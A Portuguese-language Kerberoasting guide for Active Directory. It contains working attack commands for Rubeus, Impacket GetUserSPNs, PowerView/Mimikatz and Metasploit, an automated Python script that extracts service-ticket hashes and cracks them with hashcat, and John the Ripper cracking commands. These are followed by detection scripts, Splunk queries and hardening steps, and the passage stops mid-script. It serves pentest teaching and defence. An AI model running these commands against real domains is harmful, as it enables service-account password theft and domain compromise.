# Kerberoasting

## **📋 Índice**

1. [Fundamentos do Kerberoasting](#-fundamentos-do-kerberoasting)
2. [Arquitetura do Kerberos e SPNs](#-arquitetura-do-kerberos-e-spns)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Técnicas de Cracking](#-técnicas-de-cracking)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com Kerberoasting](#-pentesting-com-kerberoasting)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Kerberoasting**

### **O que é Kerberoasting?**

**Kerberoasting** é uma técnica de ataque que explora o protocolo Kerberos para extrair hashes de senhas de contas de serviço (Service Principal Names - SPNs). O atacante solicita um Ticket Granting Service (TGS) para um serviço específico e, como o ticket é criptografado com a chave do serviço (derivada da senha da conta de serviço), pode ser crackeado offline.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant K as KDC
    participant S as Serviço (SPN)

    Note over A,K: 1. Atacante solicita TGS
    A->>K: TGS-REQ (SPN específico)
    K-->>A: TGS-REP (Ticket criptografado com chave do serviço)
    
    Note over A: 2. Extração e cracking
    A->>A: Extrai hash do ticket
    A->>A: Cracking offline (força bruta/dicionário)
    
    Note over A: 3. Recupera senha
    A->>A: Senha em texto plano
    
    Note over A,S: 4. Acesso privilegiado
    A->>S: Autentica como serviço
    S-->>A: Acesso concedido
```

### **Por que o Kerberoasting Funciona?**

| Componente                       | Funcionamento                                 | Implicação                                         |
| -------------------------------- | --------------------------------------------- | -------------------------------------------------- |
| **SPN (Service Principal Name)** | Identificador único para serviços no AD       | Contas de serviço têm senhas frequentemente fracas |
| **TGS Ticket**                   | Criptografado com a chave do serviço          | Pode ser extraído por qualquer usuário autenticado |
| **RC4-HMAC**                     | Tipo de criptografia mais antigo e vulnerável | Permite cracking mais rápido                       |
| **Cracking Offline**             | Não gera tráfego de rede                      | Dificulta detecção                                 |
| **Senhas de Serviço**            | Frequentemente não são alteradas              | Permanência indefinida                             |

***

## 🏗️ **Arquitetura do Kerberos e SPNs**

### **Estrutura do Service Principal Name (SPN)**

```python
#!/usr/bin/env python3
# spn_structure.py - Estrutura de Service Principal Names

import ldap3
import sys

class SPNStructure:
    """Análise de Service Principal Names"""
    
    @staticmethod
    def spn_format():
        """Formato do SPN"""
        print("📋 Formato do SPN")
        print("=" * 60)
        
        spn_examples = {
            "HTTP": "HTTP/webserver.domain.com",
            "MSSQL": "MSSQLSvc/sqlserver.domain.com:1433",
            "CIFS": "CIFS/fileserver.domain.com",
            "LDAP": "LDAP/dc.domain.com",
            "SMTP": "SMTP/mailserver.domain.com",
            "RPC": "RPC/rpcserver.domain.com",
            "HOST": "HOST/machine.domain.com",
            "TERMSRV": "TERMSRV/terminal.domain.com"
        }
        
        print("📌 Formatos comuns:")
        for service, example in spn_examples.items():
            print(f"   {service}: {example}")
        
        print("\n📌 Estrutura: service/fully-qualified-domain-name[:port]")
        print("   service: Nome do serviço (HTTP, MSSQLSvc, etc.)")
        print("   FQDN: Nome completo do servidor")
        print("   port: Porta (opcional)")
    
    @staticmethod
    def spn_attributes():
        """Atributos relacionados a SPNs"""
        print("\n📁 Atributos LDAP relacionados a SPNs")
        print("=" * 60)
        
        attributes = {
            "servicePrincipalName": "Lista de SPNs associados à conta",
            "msDS-AdditionalDnsHostName": "Nomes DNS adicionais",
            "msDS-AdditionalSamAccountName": "Nomes SAM adicionais",
            "userAccountControl": "Flags da conta (inclui se é conta de serviço)"
        }
        
        for attr, desc in attributes.items():
            print(f"   {attr}: {desc}")
    
    @staticmethod
    def find_spns():
        """Encontrar contas com SPNs via LDAP"""
        print("\n🔍 Buscando contas com SPNs...")
        
        # Em um ambiente real, usaria LDAP query
        query = "(&(objectClass=user)(servicePrincipalName=*))"
        
        print(f"   Query LDAP: {query}")
        print("   Filtra contas que têm pelo menos um SPN associado")

# Executar
SPNStructure.spn_format()
SPNStructure.spn_attributes()
SPNStructure.find_spns()
```

### **Tipos de Criptografia no Kerberos**

```python
#!/usr/bin/env python3
# kerberos_encryption.py - Tipos de criptografia Kerberos

class KerberosEncryption:
    """Tipos de criptografia suportados pelo Kerberos"""
    
    # Encryption types (RFC 4120)
    ENCRYPTION_TYPES = {
        0: "NULL",
        1: "DES-CBC-CRC (vulnerável)",
        2: "DES-CBC-MD4 (vulnerável)",
        3: "DES-CBC-MD5 (vulnerável)",
        4: "Reserved",
        5: "Reserved",
        6: "Reserved",
        7: "Reserved",
        8: "Reserved",
        9: "Reserved",
        10: "Reserved",
        11: "Reserved",
        12: "Reserved",
        13: "Reserved",
        14: "Reserved",
        15: "Reserved",
        16: "DES-CBC-MD5 (vulnerável)",
        17: "AES128-CTS-HMAC-SHA1-96 (seguro)",
        18: "AES256-CTS-HMAC-SHA1-96 (seguro)",
        23: "RC4-HMAC (vulnerável a Kerberoasting)",
        24: "RC4-HMAC-EXP (vulnerável)"
    }
    
    @staticmethod
    def get_encryption_type(etype):
        """Obter nome do tipo de criptografia"""
        return KerberosEncryption.ENCRYPTION_TYPES.get(etype, f"Unknown ({etype})")
    
    @staticmethod
    def explain_vulnerability():
        """Explicar vulnerabilidade do RC4"""
        print("🔐 Análise de Criptografia Kerberos")
        print("=" * 60)
        
        print("\n📊 Tipos de Criptografia:")
        for etype, name in KerberosEncryption.ENCRYPTION_TYPES.items():
            if "vulnerável" in name:
                print(f"   🔴 {etype}: {name}")
            elif "seguro" in name:
                print(f"   🟢 {etype}: {name}")
            else:
                print(f"   ⚪ {etype}: {name}")
        
        print("\n💡 RC4-HMAC (etype 23) é o mais vulnerável:")
        print("   • Hash NTLM da conta é usado como chave")
        print("   • Pode ser crackeado offline")
        print("   • Mais rápido de crackear")
        print("   • Ainda suportado por compatibilidade")

# Executar
KerberosEncryption.explain_vulnerability()
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Kerberoasting**

```mermaid
graph TD
    A[Encontrar contas com SPNs] --> B[Solicitar TGS para cada SPN]
    B --> C[Receber tickets criptografados]
    C --> D[Extrair hashes RC4]
    
    D --> E{Cracking offline}
    E -->|Senha fraca| F[Recuperar senha em texto plano]
    E -->|Senha forte| G[Tentar outros métodos]
    
    F --> H[Autenticar como serviço]
    H --> I[Escalação de privilégios]
    I --> J[Controle do domínio]
    
    style D fill:#ff9999
    style F fill:#ff6666
    style J fill:#ff3333
```

### **Ataque 1: Kerberoasting Básico**

```powershell
# Kerberoasting com PowerShell

# 1. Encontrar contas com SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# 2. Solicitar TGS para cada SPN
$spns = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
foreach ($spn in $spns) {
    $service = $spn.ServicePrincipalName[0]
    Add-Type -AssemblyName System.IdentityModel
    $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $service
}

# 3. Extrair tickets
klist

# 4. Exportar tickets para cracking
# Em um ambiente real, usaria ferramentas como Mimikatz
```

### **Ataque 2: Kerberoasting com Impacket**

```python
#!/usr/bin/env python3
# kerberoasting_impacket.py - Kerberoasting com Impacket

from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5 import constants
import sys
import argparse

class KerberoastingImpacket:
    """Kerberoasting usando Impacket"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.tickets = []
    
    def get_spns(self):
        """Encontrar SPNs via LDAP"""
        print("[*] Buscando SPNs no domínio...")
        
        # Em um exploit real, usaria LDAP para enumerar SPNs
        # Simulação de SPNs encontrados
        spns = [
            "HTTP/webserver.domain.com",
            "MSSQLSvc/sqlserver.domain.com:1433",
            "CIFS/fileserver.domain.com",
            "LDAP/dc.domain.com"
        ]
        
        print(f"   ✅ {len(spns)} SPNs encontrados")
        for spn in spns:
            print(f"      • {spn}")
        
        return spns
    
    def request_tgs(self, spn):
        """Solicitar TGS para um SPN"""
        print(f"[*] Solicitando TGS para {spn}...")
        
        # Em um exploit real, usaria getKerberosTGS
        # Simular hash do ticket
        ticket_hash = f"$krb5tgs$23$*{spn}${self.domain}*$hash_sample"
        
        self.tickets.append({
            'spn': spn,
            'hash': ticket_hash
        })
        
        print(f"   ✅ Ticket obtido")
        return ticket_hash
    
    def extract_hashes(self):
        """Extrair hashes dos tickets no formato hashcat"""
        print("[*] Extraindo hashes para cracking...")
        
        hashes_file = "kerberoast_hashes.txt"
        
        with open(hashes_file, 'w') as f:
            for ticket in self.tickets:
                f.write(ticket['hash'] + '\n')
        
        print(f"   ✅ {len(self.tickets)} hashes salvos em {hashes_file}")
        return hashes_file
    
    def exploit(self):
        """Executar Kerberoasting completo"""
        print("🔥 Kerberoasting Attack")
        print("=" * 60)
        
        spns = self.get_spns()
        
        for spn in spns:
            self.request_tgs(spn)
        
        hash_file = self.extract_hashes()
        
        print(f"\n✅ Kerberoasting concluído!")
        print(f"   Hashes salvos em: {hash_file}")
        print(f"   Use: hashcat -m 13100 -a 0 {hash_file} wordlist.txt")
        
        return hash_file

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Kerberoasting Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    attack = KerberoastingImpacket(args.domain, args.dc_ip, args.username, args.password)
    attack.exploit()
```

### **Ataque 3: Kerberoasting com Rubeus**

```powershell
# Rubeus - Kerberoasting

# 1. Kerberoasting para todos os SPNs
Rubeus.exe kerberoast

# 2. Kerberoasting com formato hashcat
Rubeus.exe kerberoast /format:hashcat

# 3. Kerberoasting para SPNs específicos
Rubeus.exe kerberoast /spn:HTTP/webserver.domain.com

# 4. Kerberoasting com saída para arquivo
Rubeus.exe kerberoast /outfile:hashes.txt

# 5. Kerberoasting com RC4 apenas
Rubeus.exe kerberoast /rc4opsec

# 6. Kerberoasting com contas específicas
Rubeus.exe kerberoast /user:svc_account

# 7. Kerberoasting com tickets existentes
Rubeus.exe kerberoast /ticket:existing.kirbi
```

### **Ataque 4: Kerberoasting com PowerShell**

```powershell
# Kerberoasting com PowerView

# 1. Importar PowerView
Import-Module .\PowerView.ps1

# 2. Encontrar SPNs
Get-NetUser -SPN

# 3. Solicitar TGS para todos os SPNs
Get-NetUser -SPN | Select-Object -ExpandProperty serviceprincipalname | ForEach-Object {
    $spn = $_
    Write-Host "[*] Solicitando TGS para: $spn"
    Add-Type -AssemblyName System.IdentityModel
    $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
    Write-Host "[+] Ticket obtido"
}

# 4. Extrair hashes com Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

### **Ataque 5: Kerberoasting com BloodHound**

```powershell
# BloodHound - Mapeamento de SPNs

# 1. Coletar dados com SharpHound
SharpHound.exe -c All

# 2. Importar para BloodHound e buscar:
# - Contas com SPNs
# - Contas de serviço com privilégios elevados

# 3. Query para encontrar contas Kerberoastable
MATCH (u:User) WHERE u.hasspn = true RETURN u.name, u.hasspn

# 4. Query para contas privilegiadas com SPNs
MATCH (u:User)-[:MemberOf]->(g:Group) 
WHERE g.objectid ENDS WITH '-512' AND u.hasspn = true 
RETURN u.name, g.name
```

***

## 🛠️ **Ferramentas de Exploração**

### **Rubeus - Kerberoasting Commands**

```powershell
# Rubeus Kerberoasting Command Reference

# 1. Básico
Rubeus.exe kerberoast

# 2. Formato hashcat (mais rápido)
Rubeus.exe kerberoast /format:hashcat

# 3. Formato John
Rubeus.exe kerberoast /format:john

# 4. Com nome de domínio específico
Rubeus.exe kerberoast /domain:target.com

# 5. Com DC específico
Rubeus.exe kerberoast /dc:dc.target.com

# 6. Apenas contas de serviço
Rubeus.exe kerberoast /service

# 7. Com contas específicas
Rubeus.exe kerberoast /user:svc_account

# 8. Com LDAP filter
Rubeus.exe kerberoast /ldapfilter:"(objectClass=user)"

# 9. Com output para arquivo
Rubeus.exe kerberoast /outfile:hashes.txt

# 10. Com tickets existentes
Rubeus.exe kerberoast /ticket:existing.kirbi
```

### **Impacket - GetUserSPNs**

```bash
# Impacket GetUserSPNs

# 1. Kerberoasting básico
GetUserSPNs.py domain.com/username:password

# 2. Com formato hashcat
GetUserSPNs.py domain.com/username:password -format hashcat

# 3. Com DC específico
GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/username:password

# 4. Com hashes (pass-the-hash)
GetUserSPNs.py -hashes aad3b435b51404eeaad3b435b51404ee:hash domain.com/username

# 5. Apenas contas de serviço
GetUserSPNs.py domain.com/username:password -request

# 6. Sem LDAP
GetUserSPNs.py domain.com/username:password -no-lookup

# 7. Com saída para arquivo
GetUserSPNs.py domain.com/username:password -outputfile hashes.txt
```

### **Metasploit - Kerberoasting**

```bash
# Metasploit Kerberoasting Modules

# 1. Módulo auxiliar
msf6 > use auxiliary/gather/kerberos_enumusers

# 2. Módulo de Kerberoasting
msf6 > use auxiliary/gather/get_user_spns

# 3. Configurar opções
msf6 auxiliary(gather/get_user_spns) > set DOMAIN domain.com
msf6 auxiliary(gather/get_user_spns) > set RHOSTS dc.domain.com
msf6 auxiliary(gather/get_user_spns) > set SMBUser username
msf6 auxiliary(gather/get_user_spns) > set SMBPass password

# 4. Executar
msf6 auxiliary(gather/get_user_spns) > run
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# kerberoasting_automated.py - Kerberoasting automatizado

import subprocess
import argparse
import sys
import os

class KerberoastingAutomated:
    """Ferramenta automatizada para Kerberoasting"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.spns = []
        self.hashes = []
    
    def get_spns_impacket(self):
        """Encontrar SPNs com Impacket"""
        print("[*] Encontrando SPNs com Impacket...")
        
        cmd = [
            'GetUserSPNs.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-no-lookup'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            for line in result.stdout.split('\n'):
                if 'CN=' in line and 'SPN=' in line:
                    self.spns.append(line.strip())
            
            print(f"   ✅ {len(self.spns)} SPNs encontrados")
            return self.spns
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def get_spns_rubeus(self):
        """Encontrar SPNs com Rubeus"""
        print("[*] Encontrando SPNs com Rubeus...")
        
        cmd = ['Rubeus.exe', 'kerberoast', '/format:hashcat']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Extrair hashes
            for line in result.stdout.split('\n'):
                if '$krb5tgs$' in line:
                    self.hashes.append(line)
                    
            print(f"   ✅ {len(self.hashes)} hashes obtidos")
            return self.hashes
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def extract_hashes(self):
        """Extrair hashes com Impacket"""
        print("[*] Extraindo hashes com Impacket...")
        
        cmd = [
            'GetUserSPNs.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-format', 'hashcat',
            '-request'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
            
            for line in result.stdout.split('\n'):
                if '$krb5tgs$' in line:
                    self.hashes.append(line)
            
            print(f"   ✅ {len(self.hashes)} hashes extraídos")
            return self.hashes
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def save_hashes(self, filename="kerberoast_hashes.txt"):
        """Salvar hashes em arquivo"""
        with open(filename, 'w') as f:
            for hash_line in self.hashes:
                f.write(hash_line + '\n')
        
        print(f"[+] Hashes salvos em {filename}")
        return filename
    
    def run_cracking(self, hash_file, wordlist):
        """Executar cracking com hashcat"""
        print("[*] Crackeando hashes com hashcat...")
        
        cmd = [
            'hashcat', '-m', '13100', '-a', '0',
            hash_file, wordlist, '--force'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            print("   ✅ Cracking concluído")
            
            # Mostrar resultados
            show_cmd = ['hashcat', '-m', '13100', hash_file, '--show']
            show_result = subprocess.run(show_cmd, capture_output=True, text=True)
            
            cracked = [l for l in show_result.stdout.split('\n') if ':' in l]
            print(f"   🎯 {len(cracked)} senhas recuperadas!")
            
            return cracked
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def exploit(self, wordlist=None):
        """Executar Kerberoasting completo"""
        print("🔥 Automated Kerberoasting Attack")
        print("=" * 60)
        
        # Encontrar SPNs
        spns = self.get_spns_impacket()
        
        if not spns:
            print("❌ Nenhum SPN encontrado")
            return
        
        # Extrair hashes
        hashes = self.extract_hashes()
        
        if hashes:
            hash_file = self.save_hashes()
            
            # Crackear hashes
            if wordlist and os.path.exists(wordlist):
                cracked = self.run_cracking(hash_file, wordlist)
                
                if cracked:
                    print("\n🔑 SENHAS RECUPERADAS:")
                    for cred in cracked[:10]:
                        print(f"   {cred}")
        
        # Relatório
        print("\n📊 Relatório Kerberoasting")
        print("=" * 60)
        print(f"SPNs encontrados: {len(spns)}")
        print(f"Hashes extraídos: {len(hashes)}")
        if wordlist:
            print(f"Senhas recuperadas: {len(cracked) if 'cracked' in locals() else 0}")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated Kerberoasting')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('--wordlist', help='Wordlist for cracking')
    
    args = parser.parse_args()
    
    attack = KerberoastingAutomated(args.domain, args.dc_ip, args.username, args.password)
    attack.exploit(args.wordlist)
```

***

## 🔓 **Técnicas de Cracking**

### **Hashcat - Modos e Comandos**

```bash
# Hashcat para Kerberoasting

# 1. Modo 13100 (Kerberos 5 TGS-REP)
hashcat -m 13100 -a 0 hashes.txt wordlist.txt

# 2. Com regras
hashcat -m 13100 -a 0 hashes.txt wordlist.txt -r best64.rule

# 3. Força bruta (máscara)
hashcat -m 13100 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# 4. Combinador
hashcat -m 13100 -a 1 hashes.txt dict1.txt dict2.txt

# 5. Com otimização
hashcat -m 13100 -a 0 hashes.txt wordlist.txt -O

# 6. Salvar resultados
hashcat -m 13100 -a 0 hashes.txt wordlist.txt -o cracked.txt

# 7. Mostrar apenas senhas crackeadas
hashcat -m 13100 -a 0 hashes.txt wordlist.txt --show

# 8. Força bruta com regras personalizadas
hashcat -m 13100 -a 0 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
```

### **John the Ripper**

```bash
# John the Ripper para Kerberoasting

# 1. Converter formato
python /usr/share/john/krb5tgs2john.py kerberoast_hashes.txt > hash.txt

# 2. Crackear com wordlist
john --wordlist=wordlist.txt hash.txt

# 3. Com regras
john --wordlist=wordlist.txt --rules hash.txt

# 4. Mostrar resultados
john --show hash.txt

# 5. Formato específico
john --format=krb5tgs --wordlist=wordlist.txt hash.txt
```

### **Script de Cracking Otimizado**

```python
#!/usr/bin/env python3
# kerberoast_cracking.py - Cracking otimizado de hashes

import subprocess
import os
import sys
import argparse

class KerberoastCracking:
    """Cracking otimizado de hashes Kerberoast"""
    
    def __init__(self, hash_file):
        self.hash_file = hash_file
        self.cracked_file = hash_file.replace('.txt', '_cracked.txt')
    
    def check_hash_format(self):
        """Verificar formato do hash"""
        with open(self.hash_file, 'r') as f:
            first_line = f.readline().strip()
        
        if '$krb5tgs$' in first_line:
            return 13100  # Kerberos 5 TGS-REP
        else:
            return None
    
    def crack_with_hashcat(self, wordlist, rules=None):
        """Crackear com hashcat"""
        print(f"[*] Crackeando {self.hash_file} com hashcat...")
        
        etype = self.check_hash_format()
        if not etype:
            print("   ❌ Formato de hash desconhecido")
            return []
        
        cmd = ['hashcat', '-m', str(etype), '-a', '0', '--force']
        
        if rules:
            cmd.extend(['-r', rules])
        
        cmd.extend([self.hash_file, wordlist, '-o', self.cracked_file])
        
        try:
            subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            
            # Verificar resultados
            if os.path.exists(self.cracked_file):
                with open(self.cracked_file, 'r') as f:
                    lines = [l.strip() for l in f.readlines() if ':' in l]
                
                print(f"   ✅ {len(lines)} senhas crackeadas")
                return lines
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return []
    
    def crack_with_john(self, wordlist):
        """Crackear com John the Ripper"""
        print(f"[*] Crackeando {self.hash_file} com John...")
        
        # Converter formato
        conv_cmd = ['python', '/usr/share/john/krb5tgs2john.py', self.hash_file]
        
        try:
            conv = subprocess.run(conv_cmd, capture_output=True, text=True)
            with open('/tmp/john_hash.txt', 'w') as f:
                f.write(conv.stdout)
            
            # Crackear
            john_cmd = ['john', '--wordlist=' + wordlist, '/tmp/john_hash.txt']
            subprocess.run(john_cmd, capture_output=True, text=True)
            
            # Mostrar resultados
            show_cmd = ['john', '--show', '/tmp/john_hash.txt']
            result = subprocess.run(show_cmd, capture_output=True, text=True)
            
            return result.stdout
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def run(self, wordlist, method='hashcat'):
        """Executar cracking"""
        print("🔓 Kerberoast Hash Cracking")
        print("=" * 60)
        
        if not os.path.exists(self.hash_file):
            print(f"❌ Arquivo não encontrado: {self.hash_file}")
            return
        
        with open(self.hash_file, 'r') as f:
            hash_count = len(f.readlines())
        print(f"[*] Total de hashes: {hash_count}")
        
        if method == 'hashcat':
            cracked = self.crack_with_hashcat(wordlist)
            if cracked:
                print("\n🔑 SENHAS RECUPERADAS:")
                for cred in cracked[:10]:
                    print(f"   {cred}")
        
        elif method == 'john':
            cracked = self.crack_with_john(wordlist)
            if cracked:
                print("\n🔑 RESULTADOS:")
                print(cracked)

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Kerberoast Hash Cracking')
    parser.add_argument('hash_file', help='File with kerberoast hashes')
    parser.add_argument('wordlist', help='Wordlist for cracking')
    parser.add_argument('--method', choices=['hashcat', 'john'], default='hashcat')
    
    args = parser.parse_args()
    
    cracker = KerberoastCracking(args.hash_file)
    cracker.run(args.wordlist, args.method)
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Autenticar como usuário qualquer] --> B[Encontrar SPNs]
    B --> C[Solicitar TGS para cada SPN]
    C --> D[Extrair hashes RC4]
    
    D --> E[Cracking offline]
    E --> F[Recuperar senhas de serviço]
    
    F --> G[Autenticar como serviço]
    G --> H[Escalação de privilégios]
    H --> I[Domain Admin]
    
    I --> J[Controle total do domínio]
    J --> K[Persistência]
    
    style D fill:#ff9999
    style F fill:#ff6666
    style I fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                              | Impacto                     | Dificuldade | Severidade |
| ------------------------------------ | --------------------------- | ----------- | ---------- |
| **Conta de serviço com senha fraca** | Comprometimento da conta    | Baixa       | 🔴 CRÍTICO |
| **Conta de serviço privilegiada**    | Escalação para Domain Admin | Baixa       | 🔴 CRÍTICO |
| **Múltiplas contas comprometidas**   | Acesso amplo                | Baixa       | 🔴 CRÍTICO |
| **Conta com RC4 desabilitado**       | Ataque mais difícil         | Média       | 🟠 ALTO    |
| **Senha forte (12+ caracteres)**     | Cracking inviável           | Alta        | 🟢 BAIXO   |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança**

```yaml
Eventos Críticos para Kerberoasting:

  4769: Solicitação de service ticket (TGS)
    - Monitorar solicitações para contas de serviço
    - Verificar tickets RC4 (encryption type 0x17)
    - Detectar padrões de solicitação em massa

  4768: Solicitação de TGT
    - Correlacionar com TGS requests subsequentes

  4624: Logon bem-sucedido
    - Monitorar logons de contas de serviço em horários atípicos

  4672: Privilégios especiais atribuídos
    - Detectar elevação de privilégios de contas de serviço
```

### **Script de Detecção**

```powershell
# detect_kerberoasting.ps1 - Detector de Kerberoasting

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24,
    [int]$Threshold = 10
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Encontrar contas com SPNs
Write-Host "🔍 Encontrando contas com SPNs..." -ForegroundColor Cyan

$spnAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, LastLogonDate

if ($spnAccounts) {
    Write-Host "   ✅ $($spnAccounts.Count) contas com SPNs encontradas"
    Write-Host "   ⚠️  Contas de serviço são alvos do Kerberoasting"
} else {
    Write-Host "   ❌ Nenhuma conta com SPN encontrada"
}

# 2. Monitorar eventos de TGS
Write-Host "`n🔍 Analisando eventos de service ticket..." -ForegroundColor Cyan

$tgsEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4769
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$rc4Events = $tgsEvents | Where-Object {
    $_.Message -like "*Encryption Type: 0x17*"  # RC4-HMAC
}

$massRequests = $tgsEvents | Group-Object -Property TimeCreated | Where-Object {
    $_.Count -gt $Threshold
}

if ($rc4Events) {
    Write-Alert -Message "$($rc4Events.Count) tickets RC4 detectados!" -Severity "HIGH"
}

if ($massRequests) {
    Write-Alert -Message "Múltiplas solicitações de TGS em curto período!" -Severity "CRITICAL"
    $massRequests | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.Count) solicitações"
    }
}

# 3. Verificar contas de serviço com logons incomuns
Write-Host "`n🔍 Verificando logons de contas de serviço..." -ForegroundColor Cyan

foreach ($account in $spnAccounts) {
    $logons = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
        LogName='Security'
        ID=4624
        StartTime=(Get-Date).AddHours(-$HoursBack)
    } -ErrorAction SilentlyContinue | Where-Object {
        $_.Message -like "*$($account.SamAccountName)*"
    }
    
    if ($logons.Count -gt 5) {
        Write-Alert -Message "$($account.Name) teve $($logons.Count) logons no período!" -Severity "MEDIUM"
    }
}

# 4. Verificar políticas de senhas de serviço
Write-Host "`n🔍 Verificando políticas de senhas de serviço..." -ForegroundColor Cyan

foreach ($account in $spnAccounts) {
    $passwordAge = (Get-Date) - $account.PasswordLastSet
    if ($passwordAge.Days -gt 180) {
        Write-Host "   ⚠️  $($account.Name) - senha não alterada há $($passwordAge.Days) dias"
    }
}

# 5. Gerar relatório
$report = @"
Kerberoasting Detection Report
===============================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Contas com SPNs: $($spnAccounts.Count)
- Tickets RC4: $($rc4Events.Count)
- Solicitações em massa: $($massRequests.Count)

Recommendations:
1. Desabilitar RC4-HMAC no Kerberos
2. Usar senhas fortes para contas de serviço (25+ caracteres)
3. Rotacionar senhas de serviço a cada 90 dias
4. Monitorar eventos 4769 para padrões anormais
5. Usar Managed Service Accounts (gMSA) quando possível
"@

$report | Out-File -FilePath "kerberoasting_detection.txt"
Write-Host "`n✅ Relatório salvo em kerberoasting_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar Kerberoasting

# 1. Eventos RC4
index=windows EventCode=4769
| where Ticket_Encryption_Type="0x17"
| stats count by Account_Name, Service_Name
| sort - count

# 2. Múltiplas solicitações
index=windows EventCode=4769
| bucket _time span=1m
| stats count by _time, Account_Name
| where count > 10

# 3. Contas de serviço com SPNs
index=ad objectClass=user servicePrincipalName=*
| table Name, sAMAccountName, servicePrincipalName

# 4. Correlação de eventos
index=windows EventCode=4769
| join type=left [search index=windows EventCode=4624] by Account_Name
| table _time, Account_Name, Ticket_Encryption_Type, Service_Name
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Kerberoasting**

```powershell
# hardening_kerberoasting.ps1 - Hardening contra Kerberoasting

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Kerberoasting..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Desabilitar RC4-HMAC
Write-Step "1. Desabilitando RC4-HMAC no Kerberos..."

if ($Apply) {
    # Configurar política para usar apenas AES
    $domain = Get-ADDomain
    Set-ADDomain -Identity $domain -Replace @{
        msDS-SupportedEncryptionTypes = 24  # AES128 + AES256
    }
    
    Write-Host "   ✅ RC4 desabilitado no domínio"
}

# 2. Rotacionar senhas de contas de serviço
Write-Step "2. Verificando senhas de contas de serviço..."

$spnAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet

foreach ($account in $spnAccounts) {
    $passwordAge = (Get-Date) - $account.PasswordLastSet
    Write-Host "   $($account.Name): $($passwordAge.Days) dias"
    
    if ($Apply -and $passwordAge.Days -gt 90) {
        # Forçar troca de senha
        Set-ADUser -Identity $account -ChangePasswordAtLogon $true
        Write-Host "      🔑 Forçando troca de senha"
    }
}

# 3. Configurar Managed Service Accounts
Write-Step "3. Configurando Managed Service Accounts (gMSA)..."

if ($Apply) {
    # Criar grupo de segurança para gMSA
    $gMSAGroup = "gMSA_Admins"
    New-ADGroup -Name $gMSAGroup -GroupScope Global -GroupCategory Security
    
    # Instalar módulo para gMSA
    Add-WindowsFeature RSAT-AD-PowerShell
    
